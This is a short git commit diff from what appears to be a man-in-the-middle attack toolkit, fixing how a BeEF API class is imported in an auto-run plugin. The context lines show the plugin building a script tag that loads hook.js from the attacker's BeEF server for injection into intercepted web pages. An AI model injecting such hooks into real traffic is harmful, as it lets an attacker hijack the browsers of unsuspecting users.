fixed beefapi import

This commit is contained in:
byt3bl33d3r 2015-03-31 13:50:55 +02:00
parent 52fb822c15
commit 84c9bab33c
2 changed files with 3 additions and 3 deletions

View file

@ -22,8 +22,8 @@ import logging
import sys
import json
import threading
import core.beefapi as beefapi
from core.beefapi.beefapi import BeefAPI
from plugins.plugin import Plugin
from plugins.Inject import Inject
from time import sleep
@ -62,7 +62,7 @@ class BeefAutorun(Inject, Plugin):
self.black_ips = []
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!")